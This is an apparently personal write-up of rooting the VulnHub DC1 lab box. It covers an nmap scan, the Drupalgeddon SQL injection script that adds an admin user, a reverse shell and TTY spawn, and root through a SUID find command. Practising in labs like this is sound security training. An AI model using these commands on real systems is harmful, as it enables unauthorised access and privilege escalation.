Yet again today we be working on another OSCP like box DC1 On vulnhub you can grab a copy here Download DC1 .
We always start with an nmap scan…..
Nmap -sC -sV -oA nmap <Target-IP>
# Nmap 7.91 scan initiated Sun May 16 15:48:28 2021 as: nmap -sC -sV -oA nmap 172.16.109.134
Nmap scan report for 172.16.109.134
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33474/tcp6 status
| 100024 1 40386/udp6 status
| 100024 1 43432/tcp status
|_ 100024 1 51414/udp status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 16 15:48:40 2021 -- 1 IP address (1 host up) scanned in 11.71 seconds
3 open ports interesting let check port 80 i can already see it running drupal 7 on the nmap scan probably easy lol so i quickly use searchsploit drupal 7 to find exploit.
Seems we have some cool exploits for drupal 7 let try using Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) yes adding another admin user with the help of SQL Injection.
python 34992.py -t http://172.16.109.134/ -u muzec -p muzec
And user created let use it to log in .
We are in now let try and get a reverse shell .
NOTE:- if you are having a problem getting a reverse kindly read my latest writeup on drupal reverse shell here DroopyCTF Writeup .
Clicking on save give us back a reverse shell .
Now let spawn a TTY shell python -c 'import pty; pty.spawn ("/bin/bash")' .
Privilege Escalation
Checking for SUID permission that can lead to root find / -perm -u=s -type f 2>/dev/null and we have /usr/bin/find let check gtfobins .
And we have /usr/bin/find . -exec /bin/bash -p \; -quit running it give us root .
Box rooted and we are done.
Greeting From Muzec